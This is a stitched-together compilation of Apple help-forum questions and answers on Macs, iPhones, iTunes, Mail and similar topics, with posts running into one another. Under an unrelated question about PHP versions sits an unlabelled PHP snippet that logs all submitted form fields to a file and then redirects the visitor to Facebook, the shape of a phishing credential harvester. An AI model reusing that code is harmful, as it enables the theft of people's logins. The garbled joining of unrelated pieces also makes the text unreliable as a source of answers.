tell application "AppleScript Editor" to tell document 1
    set input to its text
    set {c1, c2} to character range of selection
    if c1 is 0 then
        set {p1, p2} to {1, 1}
    else
        set p1 to count paragraphs of text 1 thru c1 of input
        set p2 to count paragraphs of text 1 thru c2 of input
        if p1 is not p2 and {return, linefeed} contains item c2 of input then set p2 to p2 - 1
    end if
    set selection to paragraphs p1 thru p2
    do shell script "input=" & quoted form of (paragraphs p1 thru p2 of input as text) & "
if [[ -z $(sed -E '/^[[:space:]]*($|#|--)/d' <<< \"$input\") ]]; then
  sed -E 's/^([[:space:]]*)(#|--)[[:space:]]*/\\1/g' <<< \"$input\"
else
  sed -E 's/^([[:space:]]*)/\\1--/g' <<< \"$input\"
fi" without altering line endings
    set contents of selection to result
end tell


How can I fix constantly resetting HD 4000 GPU? Problem:
My MacBook Pro started showing graphic issues. For a little bit more than two years the system was running without any major issues, but now it is almost unusable. Last month a few of those hiccups started to occur, but in the last few days they happen more frequently (today over 50 times).

The graphic issues manifest in stuttering user interface, which usually means that the monitor freezes and temporarily becomes unresponsive. Sometimes the a second occurring freeze after 10 sec results in an application crash, sometimes the applications run a little bit longer. Sometimes the stutters throw me back to the log-in screen or restart the computer.

This behavior occurs in applications such as Safari, Preview, QuickTime, VLC and Heroes of the Storm. It's also impossible to play videos.

What I already tried:
The extended Apple Diagnostics tool didn't show any errors. I've reset PRAM and SMC. I also reinstalled the Combo Update 10.10.4 and I even reinstalled the OS from the Recovery Utility. The error persists. I have attached the beginning of one of the console logs which is related to the freezes.

Any other ideas on what I can try?

System Details: MacBook Pro (Retina, 13-inch, Early 2013) OS X 10.10.4 Intel Core i5 2,6 Ghz 8 GB RAM Intel HD Graphics 4000

Console Log:

  Event:               GPU Reset
  Data/Time:           Sun Jul 5 18:23:08 2015

  Application:         com.apple.WebKit

  Path:

  OS Version:          Mac OS X Version 10.10.4 (Build 14E46)

  Graphics Hardware:   Intel HD Graphics 4000

  Signature:           8013

  Report Data:

  ===========================================================================
                           Intel GPU Hang Summary
  version 1.0.0

  ===========================================================================

  -- Summary of Status for ALL Rings --

  MAIN Ring is hung in a batch buffer <-- ROOT CAUSE!

  MEDIA Ring is idle

  BLT Ring is waiting on a semaphore

  [.....]

If your issue appeared with 10.10.3, I am 98% certain it is a bug in OS X Yosemite, introduced with the 10.10.3 update and related to Intel HD 4000 GPUs. Welcome aboard. The kernel panics are totally erratic, some users have also graphics glitches like you describe. The only common feature is having an Intel HD 4000 GPU.

However, your case seems more severe than that and could also be caused by a dying GPU.

On MacBook Pros with dual GPU you can avoid the problem by disabling Automatic Graphics Switching (System Preferences > Energy Saver).

Please contribute to the thread in the apple discussion forum and file a bug report (with link to the thread).


How to get the postion of the lid I am trying to figure out what the position of the lid is. Whether it is open or closed. Is there a terminal command or a cocoa code snippet for this?

I've already tried pmset -g but i can only get the sleep modes and the lidwake status.

I don't have a macbook by my side, is maybe

ioreg -r -k AppleClamshellState -d 4 | grep AppleClamshellState  | head -1

still working ?


automator: get a folder if it dropped or ask for one otherwise I'm building an automator application that acts on a folder that needs to be specified.

Until now, I've been using the "Ask for Finder items" action to ask for a the folder to be used, but I would like to be able to just drag 'n' drop the folder on the application icon.

Can it be done in automator? I've been thinking to use some applescript to check if any input was given.

You can do whole workflow in AppleScript:

on adding folder items to theFolder after receiving theItems
    repeat with anItem in theItems
        -- your code goes here
    end repeat
end adding folder items to


Current PHP version is 7.2.2 but localhost is running php56 I recently upgraded PHP through Homebrew. When using terminal command PHP -i I'm getting PHP Version => 7.2.2 as expected.  However, when running phpinfo(); on localhost I get PHP Version 5.6.30 instead.

I have already restarted Apache ($ sudo apachectl -k restart), unlinked php56 ($ brew unlink php56) and tried ports :80 and :8080.

What am I missing?

<?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


iPhone with Outlook 2013 I recently installed Outlook 2013 on my iPhone 5C. But I cannot find any option how to add a new contact to my list. Secondly, how can I sync my iCloud contacts with my Outlook 2013 installed on iPhone 5C.

Open the Outlook app on your iPhone
Tap "Settings"
Tap Add Account
From the new screen tap "iCloud"
Type in your iCloud account credentials

Outlook will now source all email and contacts from your iCloud account.


Is there a way to change the icon(s) or text from the Apple Startup Manager on the new Macbook PRO 2019? I have a MacbookPro16,1 (2019) configured in dual-boot (MacOS Catalina 10.15.3 and Windows 10). I would like to change the icons presented on the Mac Startup Manager and, if possible, the text as well. Even if I choose a volume name when creating the partitions before the Bootcamp installation, the "Windows" label automatically appears like in the screenshot below :

Maybe it is worth mentioning that FileVault2 is enabled on the MacOS side, and Bitlocker on the Windows side. But I can start from a clean install and make those modifications before enabling both.

Thanks in advance

Strangely, I think it's possible to easily change the icon on macOS in the Get Info box of the hard drive you've selected in Finder. Although you may have to disable SIP to do so. Additional steps may be required if you are on macOS Catalina 10.15, since the system files are now protected on a separate disk volume. I'm not sure about these steps as I'm still on macOS Mojave 10.14.6.

To change the icon, select the hard drive and press cmd+i keys and select the icon in the top left corner and drag or paste a new icon. Pasting/dragging the new icon must be in icns format I believe. You can convert a png to icns format by changing the extension of the file from .png to .icns.

Note, I've only done this with my macOS hard drive and not my Windows partition. It may not be possible with Windows partition. I've attached the Get Info screenshot and a screenshot of the Startup Disk Manager when booting my Mac.

Hope this helps.


Safari downloads sometimes continue, sometimes restart I'll be in the middle of a long download (a software package or movie) and a network glitch will halt the download ("The network connection was lost").

In the Downloads icon on the Toolbar, I see the file(s) I was downloading with buttons beside them that have little orange circles to indicate "Resume." But sometimes the button continues the download and sometime it restarts the download from scratch.

Does anybody know why this happens and whether I can tell in advance which will happen? Also, the gray x "Stop downloading" button usually restarts the download from scratch, but if most of the download is complete, it might just suspend the download and allow me to continue it. Does anybody know the threshold for this behavior? Half-finished, perhaps?

This is a function of the server - not the client, so there is no download threshold.  Check this answer for a bit more information on how to check whether the server supports resuming http downloads.


What is Mobile Sync - Backup and why is it taking so much space? I was checking my directory and found out that the Folder Backup in Library > Application Support > Mobile Sync > Backup, is taking 13GB of my Harddisk ... What is this and why is taking so much space .. Can I delete it ?

It's the folder where iTunes saves the backUps of your iDevice. And it takes so much space because each time you sync a device, previous backUps are not deleted.

Deleting the folder will, then, mean losing those backUps. Doing this regularly is advised for saving HD space. Just make sure to make a new backUp afterwards, and that you won't need those backUps.

You can do that through iTunes too, by:

Opening iTunes / Preferences / Devices.
A list with all the Devices will be show. Select the one's backUps you want to delete and click Delete Backup.

Note that all of the backUps of that iDevice will be deleted.


How do I see just unread junk? Greetings. I want to be able to have a view of just the unread messages in the Junk folder. Thunderbird has a nice way to do this (essentially, "show only unread" while in the folder view), but I don't see anything similar in Mail.app. Further, when I try to make a Smart Mailbox whose two rules are "Message is unread" and "Message is in Mailbox - Junk", it never finds anything, even when Mail.app knows there is unread messages there because it shows a count.

Any clues would be greatly appreciated.

For some reason or another, Apple has made it impossible to access junk messages from a Smart Mailbox.

If you are able to set Message is in Mailbox to Junk, you must be setting it to a special 'Junk' mailbox that you have created (or that was created automatically by whatever email service you connect to). So, messages in Mail's built-in Junk folder won't appear in your mailbox.

However, you can get around this without too much trouble. To do this, make a Mail rule that automatically moves junk mail to your special Junk mailbox. Here's how:
Go to Mail-> Preferences-> Rules. Click Add Rule. Set the description to something like Move to special Junk. Set the popup in the first box to Message is Junk Mail. Set the first popup in the second box to Move message, and use the second popup to select your special junk box.

Now, any incoming messages that Mail thinks are junk will go to your special junk mailbox. You can use this one in a Smart Mailbox.

Hope this helps!


iPhone 4 stays linked to a previous Apple ID after restore to iOS 7 I bought a used iPhone 4 from a mobile shop in Abu Dhabi, UAE. It was in good condition but there was a Find my iPhone lock. I thought this is a normal thing, and can bypass it if I restore the phone - that's why I bought it.

I used the iPhone for one week, then tried to restore it with iOS 7.0.3 but after the restore, the activation screen showed "This iPhone is locked with an apple id  s.....@gmail.com". Then I tried my Apple ID instead, but was unable to use another id.

I went back to the mobile shop for help. He tried for one day but with no success. He said he bought it from Dubai from a person he doesn't have contact address or number.

How do I get the iPhone unlocked and can use my Apple ID with it?

It may not be your fault, but s...@gmail may be missing photos of his family and other stuff important to him. Maybe not. At least, send him an email explaining what happened. Maybe he will be ok with this, maybe he will thank you, it's just the right thing to do..


Emptying trash of the USB drive I have a USB drive plugged into my Mac. What I found was .Trashes was not emptied when the emptying trash (right click the Trash icon and run "Empty Trash") for the USB drive

What might be wrong? Is there any other way to empty trash the USB drive?

It's possible that there are files in some other user's trash.  The .Trashes folder at the top of each volume has subfolders for each different user, by user ID number (e.g. user 502's trash is in .Trashes/502).
You can see if it for yourself using a command like this (replace VolumeName with your drive name):
ls -la /Volumes/VolumeName/.Trashes/
total 0
d-wx-wx-wt@  3 _unknown  _unknown   102 10 Feb 18:15 .
drwxrwxrwx@ 21 root      wheel      782 13 Feb 14:17 ..
drwx------@ 35 _unknown  _unknown  1190 13 Feb 14:18 502

Note: you might get a permissions error from this command, either because the .Trashes folder doesn't allow read access (solve this by adding sudo, e.g. sudo ls -ls ..., and entering your admin password when requested); and/or because of the privacy protections in macOS Mojave (10.14) and later (solve this by granting the Terminal access in System Preferences > Security & Privacy pane > Privacy tab > Full Disk Access category, see here for more details).
As you can see, on my USB disk .Trashes folder there's a sub foder called 502, owned by user ID 502 (for reference, my current user ID is 501). Since this user doesn't exist on my system, I see it as _unknown, and my user can't look inside of it, neither delete it.  To look inside that folder we need to do it as administrator (i.e. use sudo).
If you are sure that you want to, you can delete everyone's trash by deleting the entire .Trashes folder with a command like:
sudo rm -R /Volumes/volumeName/.Trashes

Warning: as with anything involving sudo ("do as super user", i.e. system administrator) and rm -R, use this carefully. If you type it wrong, it could have ... unpleasant consequences.


Set permissions for sharing only user through terminal I am sharing my media folders on my local network by means of a sharing only user. The "sharing only" user is given read access to these folders, and anyone can connect with the user's log in credentials over smb in order to gain access to the files. However, when I add a new file to the shared folder, the sharing user does not have access to it, and I need to change the file permissions manually. I do this with finder by selecting folder info and reapplying the current read/write privileges to all enclosed items.

Are there any quicker methods for this procedure? Can it be done via terminal? Note that I cannot log into the shell as a sharing user. Can the read permissions be added automatically whenever a new file is added to the folder? Also, the machine in question is running Lion, so simple solutions are preferred.

I solved the probelm by setting the permissions in the following way:

sudo chmod -R +a "user:USER_NAME allow list,search,readattr,readextattr,readsecurity,file_inherit,directory_inherit" PATH_TO_DIRECTORY/

This does the trick of changing the folder permissions so it propagates the users permissions automatically when new files are added. In this example

allow list,search,readattr,readextattr,readsecurity

are copied from the permissions of the sharing only user, and I have added

file_inherit,directory_inherit

in order to allow the files and directories within the original directory to automatically inherit the permissions.


Is "server performance mode" enabled or not? When experiencing some MAJOR file sharing slowdowns in a new macOS High Sierra machine running Server.app I came across this page from Apple showing how to enable "performance mode for macOS Server".

https://support.apple.com/en-us/HT202528

Some online resources make reference to the "old" procedure before SIP prevented that from working, and provided instructions on how to turn off SIP and then use "serverinfo" to enable perfmode, and then turn off SIP.

References at No boot-args in nvram and What does serverperfmode=1 actually do on macOS? gave me some more information, but I cannot find info about checking the perfmode status in High Sierra.

I have set the NVRAM variable like Apple says, and checking it returns the proper result of "boot-args serverperfmode=1" and I restarted a few times, but "serverinfo --perfmode" still returns the result of "Server performance mode is NOT enabled."

When set via the NVRAM, should "serverinfo --perfmode" tell me that performance mode is enabled? If not, how can I tell if it has been enabled? The NVRAM variable essentially says "turn it on when you boot", but it does not tell me "it got turned on when I booted".

OK, I guess I have one way to determine based on What does serverperfmode=1 actually do on macOS?

If you take the output from sysctl -a you can search it for some of the items listed above and see what their values are.

sysctl -a > temp.txt

Search temp.txt with your favourite editor and look for kern.maxvnodes, if it is 300000, and if kern.maxproc is 5000, then you are in "performance mode".

Or at least some of your settings match the "performance mode" settings.

Since I did both the NVRAM variable and the "disable SIP and use serverinfo --setperfmode 1" methods, I don't actually know if the NVRAM method by itself results in the changes for High Sierra.


How to use SMTP and IMAP with iCloud email? I've never used @me.com or @mac.com emails before. Neither did I use MobileMe.

So when the iCloud came out last night I created @me.com email account this morning. Registration on its own went just fine. Email account was added to Mail.app.

Questions:

How to setup SMTP as Sending emails doesn't work?

In the iCloud email account settings the SMTP account is set to iCloud (iCloud) which occasionally is displayed as iCloud (iCloud, Offline) - this has been set by the iCloud config when creating the @me.com account
The above iCloud SMTP is not listed in the SMTP servers list
Connection Doctor doesn't check the outgoing iCloud setting either - just as if it didn't exist.
According to Apple's KnowledgeBase on iCloud Email the SMTP server is smtp.mail.me.com, but Mail.app reports an invalid SSL certificate

What would be IMAP settings for the new @me.com accounts?

Mainly asking because the settings iCloud config set are not all filled in and are not following the earlier linked support document, e.g.:

username is the <username>@me.com, not the full address
incoming mail server is p06-imap.mail.me.com and it is grayed out
password field is empty

Receiving emails does work though, not sure why

So, any tips on getting the @me.com working properly? All other iCloud services seem to work fine.

Edit

It seems to have started working for me without any tweaks. I simply had it disabled for last couple of days, enabled now and it started working without any intervention on my side.

Interestingly I had a similar problem last night, and I have been using iCloud for some time now. I suspect it was caused by the live switch on iCloud. I simply went to the iCloud preference panel, logged out and logged back in. The new terms and conditions was shown, I accepted, restarted Mail and everything was working.

I suggest trying this first, because manually configuring it can cause problems in future should Apple decide to make changes to the routes.

The IMAP setting for iCloud is available in this Apple support document.


Drag music to iTunes from network, don't copy (keep network link)? I swear I've done this before, but either I am forgetting something or the behavior of iTunes 11 changed:

In the past I've only kept about a dozen or so albums on my local (work) computer, but I have networked storage containing my whole music collection. If I connected to the networked drive and copied albums into iTunes, the albums would appear in iTunes but remain on networked storage. When I left my local network, the networked music would still appear, but there was an icon (red x?) to indicate that it was offline. When I reconnected at home, the icons disappear and I can play the networked music again.

Now in iTunes 11, when I drag music from networked storage to my library, iTunes makes a local copy of it in the iTunes music folder instead of just linking to the networked file. Can anyone comment on what's happening?

Thanks!

Whether to copy is a setting in iTunes. On the OS-X version of iTunes, under preferences -> Advanced, make sure "Copy files to iTunes Media folder when adding..." is not checked.


iTunes wi-fi sync not working So there is a mystery story with synchronization over wi-fi.

I've been synchronizing over wi-fi my macbook and iPhone for about 3 months. But some day it happened to stop working. iTunes doesn't see iPhone over wi-fi anymore. Checkbox is checked. Also, handoff stopped working(any app).

I've discovered that if I connect to another wi-fi network my phone is shown and able to synchronize over wi-fi(returning to main router changes things back).

Both devices are connected to the same network (it's the only one I have nearby) and bluetooth is on both on mac and phone.

I've tried:

reset network and location settings
full reset phone and backup then
restoring wi-fi router
switching off and on wi-fi and bluetooth
loggin out and in Apple ID, iTunes etc.
unchecking/checking handoff and iTunes wi-fi sync
delete wi-fi network

Nothing has worked for me. The only clue I have - it's something with wi-fi, though I don't change anything there and restored to default.

I checked the Apple forums and several people say they fixed it by plugging iPhone into MB, it asked if to trust the device on the MB and the iPhone.  When trust on both is selected, it synced on the cable and now wifi sync is back to normal. May be this workaround will do the thing?

Also do you think Firewall can be an issue?

Or Apple Mobile Device Helper process could be the bump, you can just force quit that process through Activity monitor


Incoming cellular calls ring on all my iOS devices When I receive an incoming cellular call on my iPhone 5 (iOS 8.3), it is propagated to all my other devices (including a wifi only iPad) connected to the same wifi network.

I guess that's an activated by default functionality, can it be deactivated ?

To disable on specific iDevices, go to Settings > FaceTime > iPhone Cellular Calls & switch off.

On a Mac, launch Facetime, then Preferences > iPhone Cellular Calls - uncheck.


Does the Mac mini come with a keyboard or mouse? If I bought a Mac mini, would I be able to find the mouse or keyboard in the same box as what the Mac mini came in?


How to create the app icon on current screen? When installing a new app, and even though i have space left in my home screen, why does it create a new screen and create the icon there?

Is there any configuration to, when installing a new app, the icon be created to fill the space in already created screens?

New apps are never installed to the first screen.  Instead, they are put in the first open space available from the second screen onward.  If there is no open space for the app, then a new screen is created.

This does seem like something that could easily be turned into a preference; and, there may be a jailbreak setting already.  But there is currently no way to override this behavior that is supported by Apple.


iTunes Connect: Can I have one bank account for every currency I receive? As I understand it, Apple does not do currency exchanges when they pay the app developers, they just forward the 70% share in the currency the customers bought it. So, if an app is available in different markets, the developer receives payments in different currencies.

Is there a way to enter one bank account for every currency? For example, I'd like to set up a bank account in EUR for payments in EUR, one in GBP for payments in GBP, and likewise for USD etc.

If all payments are going to the same bank account, my bank charges high conversion rates every time a payment in a 'foreign' currency comes in.

UPDATE: It seems that this is not possible, nor is it necessary, since Apple seems to forward all payments in USD. Can anyone answer if this is true? Does Apple pay European developers in USD?

No you can't, and no that is not what happens when Apple sends you a payment, so there's no reason to do it.

Apple will send you a single payment in USD, regardless of the currencies used to buy your app.


Having text message notifications on my iphone (and apple watch), despite receiving notifications on macbook I have enabled receiving text messages from my iphone in Messages.app on my macbook. The problem I have, is that when my macbook is unlocked, any text messages I receive are displayed in macOS notifiactions (top right), and my iphone does vibrate or play a sound. Neither does my apple watch. If I unlock the screen on my iphone I can see the message. But if I leave the lid of the macbook open and go away, I will not receive any sound notification/vibration when a text message comes. And that's pretty bad for me.

Does anybody know a way to have the notifications both on macbook and iphone?

macOS: 10.15.4

iOS: 13.3.1

Couldn't find anything, so I wrote a python script checks for new messages, and send me notifications via pushover. I turned it into an app and added it to login items, so i only get notifications this way when the macbook's lid is open. It's not clean, but it works.

import sqlite3
import pathlib
import time
import logging
import sys
import requests

logger = logging.getLogger('message-notifier')

def dict_factory(cursor, row):
    d = {}
    for idx, col in enumerate(cursor.description):
        d[col[0]] = row[idx]
    return d

conn = sqlite3.connect(str(pathlib.Path.home() / 'Library' / 'Messages' / 'chat.db'))
conn.row_factory = dict_factory
notified = set()
try:
    while True:
        logger.info('running')
        x = conn.execute("select is_read, ROWID from message "
                         "WHERE is_from_me = 0 "
                         "order by date desc limit 10;")
        for msg in x.fetchall():
            if not msg['is_read'] and msg['ROWID'] not in notified:
                logger.info(f'pushing notification for {msg["ROWID"]}')
                notified.add(msg['ROWID'])
                try:
                    requests.post('https://api.pushover.net/1/messages.json',
                                  data={
                                      "token": "token",
                                      "user": "user",
                                      "message": "msg",
                                      "title": "tit"
                                  })
                except:
                    logger.exception('encountered:')
                continue
            if msg['is_read'] and msg['ROWID'] in notified:
                logger.info(f"removing {msg['ROWID']} from notified msgs")
                notified.remove(msg['ROWID'])
                continue
        time.sleep(5)

finally:
    conn.close()


How to increase keyboard light with Touch Bar not working My Touch Bar recently stopped working and at this point I have stopped trying to fix it.. I have tried reseting SMC/NVRAM. I just wanted to know if there is a way to turn on the keyboard lights even without Touch Bar working.

I don't think there's a way to manually adjust the keyboard backlight without the Touch Bar working, but you can set it to automatically turn on in low light:
Apple:

Adjust the brightness automatically
To set your keyboard brightness to
adjust automatically:

From the Apple menu, choose System Preferences,
then click Keyboard.
Select the "Adjust keyboard brightness in low
light" checkbox.


What power is going in or out of a USB-C port? How do I tell how power is moving through my MacBook Pro's USB-C ports? My shiny new MacBook Pro (15", 2016), comes with four USB-C ports.

Sometimes power comes in through one of these ports, as when I charge the machine from Apple's included official 87 W power adapter, or another power adapter. Sometimes power goes out through these ports, as when I use them to power my iPhone or an external accessory like a hard drive.

Does macOS provide any tool that can tell me the net flow of power through every one of these ports? Or is there a third-party application which can do so? The benefit of this is it would let me manage my battery better, and also understand if cables, hubs, and power adapters are performing as intended.

The closest thing I can find is to go About This Mac / Overview / System Report / USB, where I see three fields: Current Available, Current Required, and Extra Operating Current. I don't quite understand what these fields mean. Also, they purport to describe current (in milliamps), rather than power (in watts). Without knowing the voltage I cannot know the flow of power, and my understanding is that voltage does indeed vary on USB-C power circuits.

Find at this article for more details regarding USB-C in MacBook.

https://support.apple.com/en-gb/HT204360


Safari freezes on pinch-to-zoom in Lion I have noticed this since upgrading to Lion.

Many times I accidentally use the pinch to zoom feature on the trackpad for Safari. Safari will zoom in a bit, but then the entire tab becomes frozen. No buttons or hyperlinks work, if you enter a new address into the address bar it will load, but it won't show up, etc. The only solution is to close Safari and reopen it.

Others have reported similar problems here

http://forum.notebookreview.com/apple-mac-os-x/634076-safari-causes-pinch-zoom-freeze.html

https://discussions.apple.com/thread/3196200?start=0&tstart=0

I have no extensions installed.

Not sure I like it, but I think it's by design.  I don't really use the zoom function, but occassionaly activate it by accident when srolling.  When you zoon in, it seems to remove all navigation functions other than scrolling or further zoom operations.  You need to zoom back out in order to get it all back, however due to either inertia or some other feature it's possible for you to sort of bounce in again and zoom in a small amount again, making it seem unresponsive.  It's very subtle, especially as the text will render beatutifully.  So, in short, zoom out, check that you have really actually zoomed out all the way, then try again.


localhost redirecting to https after Mojave upgrade After the recent upgrade to macOS Mojave Safari started redirecting from http://localhost to https://localhost. The problem persists only in Safari, in Chrome everything is the same as before. Now I'm temporary using 127.0.0.1 as a replacement, but it's inconvenient due to some limitations of software I'm using.

I tried searching and found some similar questions, where accepted answers were to kill Safari and remove ~/Library/Cookies/HSTS.plist file, and in my case it didn't work.

I also tried this answer, without luck.

Safari did that before Mojave.

Try this to fix it

sudo killall nsurlstoraged
rm -f ~/Library/Cookies/HSTS.plist
launchctl start /System/Library/LaunchAgents/com.apple.nsurlstoraged.plist


Any way to make Cmd-D "delete next word" rather than "split-pane" in Terminal I am so used to using ⌘D to "delete-next-word" in emacs and xterm, that I automatically hit it in Terminal all the time, which rather annoyingly (to me, at least) causes the pane to split instead. I've tried to google solutions, but all I get are hits telling me what a neat feature this is.

I could just use XTerm under X11, but Terminal plays more nicely with some of my favorite Mac utilities (notably Divvy). I've tried iTerm2, but at best I can get it to ignore ⌘D, not actually erase the word.

Any ideas?

Switch to iTerm2. It's free and sooo much nicer than plain old terminal. Also it has a lot more options for customization, like keyboard shortcuts.

Also I love that you can use cmd and 1-9 to switch between tabs. Try it and you will never go back to regular terminal :)

How to set up delete next word in iTerm 2

Install iTerm2
Launch and then go to preference pane.
Choose the "Keys" tab

Click on the plus button to add a new keyboard shortcut
In the first box type CMD+D
In the second box choose "Send Escape Sequence"
In the third box type the letter d

Voila! Now in iTerm2 cmd+d will delete the word in front of the cursor.

See also https://stackoverflow.com/questions/81272/is-there-any-way-in-the-os-x-terminal-to-move-the-cursor-word-by-word/8250989#8250989


Apple ID/ Password Problems Every time my family and I try to download an app, the AppStore pops up saying my Apple ID or password is incorrect. So the first time I reset the password. It happened again and I did reset it a second time. The third time I wrote down the password, so I knew it was right. But AppStore still doesn't accept my Apple ID or password. I've changed it about 5 times now. What do I do?

If you don't want to try one more time to reset the password, you might need to contact Apple's support to have them reset your account.

It's entirely possible that the account is either locked or someone else is trying to reset the password (or far more likely another device you have stored the old password keeps repeatedly trying to enter that old password and is causing the account to get locked.)

You can try logging into https://appleid.apple.com from a web browser and see if you really have the correct password. Once you're certain the account isn't locked, you can then sign out of all your OS X and iOS devices to ensure that the old password is cleared and not stored incorrectly.

If your account is locked due to too many incorrect attempts - you will need to contact Apple to get things sorted.


For my iPhone, why is the "restore from backup" option not available in iTunes? I'm trying to back up and restore my iPhone using iTunes in order to attempt to get my supposedly successful carrier unlock from Chronic Unlocks to work. This is what Chronic Unlocks support recommended.

I have synced my iPhone to my computer in iTunes and confirmed that I have a recent backup.

I followed the instructions from Apple under "restore from a backup", but when i ctrl-click on my iPhone under "devices" in iTunes, "Restore from backup" is not visible in the contextual menu. It only shows:

Eject
Sync
Transfer purchases
Back up
Reset warnings

How can I restore my iPhone using this backup I have?

Mac OS 10.9.4
iTunes 10.7 (update: had to downgrade from iTunes 11 using these instructions in order to have iTunes recognize and back up my iPhone running iOS 5).
iPhone 4, iOS 5.0.1

Apologies - to get the picture in, I need to 'answer' rather than comment...

I'm really not certain whether it's because you're on an old version, or that your machine can see no backup, but I get a totally different Backup section

I'm not sure I can contribute further, sorry - because I don't remember how iTunes 10 looked & I'm on iOS 7 myself.

There is the possibility that Apple has essentially locked out iOS 5 now - but please don't take my word for it; I've seen posts about it but have no authoritative answer.

(Please don't -1 me for this 'non-answer', folks ;-)


macbook Random reboot and forgot the time Macbook just randomly switched itself off, and when I switched it back on again it had forgotten the time (as in, it had set itself to 0000 1st Jan 2001)

...and had a moan about some applications with alerts of this format...

When I opened the time/date presferences... the automatic 'get time from central server' kicked in. But I wanted to know if these two symptoms pointed to a specific problem that someone can recognise...

MacBook has these specs...

Edit next day macBook wouldn't charge. Visited Apple Store, power supply was prononced DOA  (turns out it wasn't an offical power supply it was a cheap knock off).  Problem hasn't reoccured since - will come back in a week and let you know if that has fixed it (which would be odd, but on the other hand the power supply starting to flake out could have a bunch of downstream issues - it has been plugged in every time there has been a problem)

Time to swing the voodoo chicken.

Things to try, in increasing order of intrusiveness:

1) PRAM reset: Reboot machine, holding Command+Option+P+R. Machine will begin to boot, and then automatically reboot itself. Let this cycle continue for 2-3 reboots, then let go and let the machine boot normally. Yeah, I know.

2) SMC reset (the more likely one): http://support.apple.com/kb/HT3964

It's entirely possible that the SMC itself is malfunctioning, which would require a logic board replacement. From your description, I think it's unlikely that this is a software-related issue.


How to correctly remove drivers of external USB wireless network adaptor? I want to completely remove the driver of a TP-Link wireless network adaptor. I can't find any tips from TP-Link's official site. Is there a right way to safely and gracefully remove?

I see from your comments to the posted answer of your other question (How to remove wireless network utility icon from the menu bar?) you have a TL-WN822N V3 and both the Utility package and the Driver package come with an Uninstall.command to run to remove what's installed.

That would be the proper way to uninstall it.


Is ipfw available in Mountain Lion? Is ipfw available in Mountain Lion? The reason for asking is that they introduced pf in Lion, but kept ipfw, however there is a chance that ipfw would eventually be removed.

I found this: Can I use ipfw on OSX 10.8 (Mountain Lion), but that was asked before releasing Mountain Lion and there is no answer.

Yes it is. I use it for my firewall needs. A great way to test if it still exists, is to just run it. Open Terminal.app and enter the following command:

sudo ipfw list

It should report the following (rules may vary):

65535 allow ip from any to any

Additionally, Apple will not remove it as it is actually the backend for the default Application Firewall found in System Preferences, at least not for some time.

You can read up more on ipfw in OS X using Apple's Manual Page (or simply type man ipfw in Terminal.app).

As for pf (the actual implementation of OS X is pfctl), it is a much more object orientated program that can control network access translation and packet filter (while ipfw requires external components to handle them). It is born from OpenBSD (as opposed to FreeBSD) and has been around for quite a while as well. It's power comes from being able to accomplish more internally, but also optimize long rulesets (that sometimes bogs ipfw down). They are both, however, excellent firewalls and can coexist quite happily. You can read more about the differences between pf and ipfw, here.


How can i burn a Windows 7 USB to an ISO? I'm trying to install Windows 7 from a USB onto a bootcamp partition. No working :(

So, I thought I might try and burn the bootable win 7 usb to a dvd or ISO (and then burn that ISO to disk).

How can I do this with my Macbook Pro? I al

Note: I'm using Lion, btw.

Cheers!

The easiest way will probably be UNetbootin which lets you specify an ISO to use and will create a bootable USB drive from it. I've not tried it on Lion but a quick Google says it should be compatible (a 90% of the time it works all the time situation).


NVME PCIe SSD to SATA adapter exist? MB Pro 2015 have NVME PCIe SSD which are super fast. I was thinking to replace mine with a bigger capacity one. And then use the old one in a Windows laptop, if that's possible. Since my Windows laptop have SATA SSD I need an adapter, so NVME PCIe SSD to SATA adapter exist?

You'd need SATA at one end and Apple's own "12+16-pin" PCIe connection, which is different from the M2 industry standard connectors used on SSD blades in other PCs.

You can do your own searching, but I suspect such things are hard to find. You would have more luck with adaptors that connect an Apple SSD blade to a USB port as an external drive, but these can be expensive.


Can I start a new conversation with the same number or Apple ID in Messages? Sometimes my conversations get long and unwieldy over time, but being so sentimental I'd like to keep them around on my devices (and not just leave them in iTunes backups that I might not be able to access again later).

In the Messages app, can I start a new conversation with a person under the same number or Apple ID, while preserving our previous conversation on my iOS device? Or if not, is there a feasible workaround (somehow involving switching numbers in the person's contact card or something)?

I think that when you send a new message and it has the same receiver, the messages app automatically groups that with any old messages. The threads are really designed to be conversations between people and not separate threads with new conversation topics like email


Fastest way to get to camera in iOS? There are a few different states an iOS device might be in when one wants to capture a memory really fast:

Power off, with a PIN or password screen
Power off, no PIN or password, but need to "slide to unlock"
Power on - on springboard (no app running, looking at app icons)
Power on - in an app

In earlier versions of iOS one could double click the home button twice from nearly any situation and open the camera.  It appears that there is no quick hardware way built in to the latest versions of iOS, though there is a jailbreak way to enable faster hardware access to the camera.  I'm not interested in jailbreaking, though, so I'm hoping to catalog the various methods one can get into the camera app quickly.

Any tips for making this faster in non-jailbroken devices (such as specific apps that are faster, or placing the camera app of choice in the bottom app bar on springboard) would also be welcome.

How quickly can we get the camera to snap a picture?

If you are using iOS 6 (which I am, I can't get iOS 7 on an iPod 4) and the power is on, no matter what you're doing, the easiest way I found was to press the sleep button to put it on standby, press it again to turn it on, find the little camera icon that's next to the "slide to unlock" bar, drag it up to open the camera, and capture your moment.

Of course, this answer is very conditional: it only works if you have iOS 6, the device is either on or on standby, and you do not have a passcode (if you have a passcode, it makes you type it in before you can use the camera). But it works for me all the time, and I think this would work pretty well for others, too.


Why does Image Capture import fewer pictures than it counted? I recently used Image Capture to get a backup of my iOS Camera Roll, and noticed a discrepancy.

In the footer of the app, Image Capture notes the number of items on the device, or the number selected if they are individually selected. But after Import All (or select all then Import), the number of items in the folder on my Mac was a smaller number.

Image Capture is version 6.3 (502.1)
OS X 10.9.5 Mavericks

iTunes - running or not running, same results.
Preview not running.
No other camera-acquisition apps.

Replicated this behaviour on 2 iOS devices:

iPhone 6 / iOS 11.4.1 (15G77) with settings:

iCloud Photo Library is OFF.
Optimize iPhone Storage is disabled.
My Photo Stream is OFF.
iCloud Photo Sharing is OFF.
Cellular Data (for Photos) is OFF.
Transfer to Mac or PC is Automatic (not Keep Originals).

iPad 3 / iOS 9.5.3 (13G36) with settings:

My Photo Stream is OFF.
iCloud Photo Sharing is OFF.
Optimize iPhone Storage is not available.

USB cables are original Apple, for both devices.

Videos import fine.
Edited photos import fine.
Hidden photos import fine.

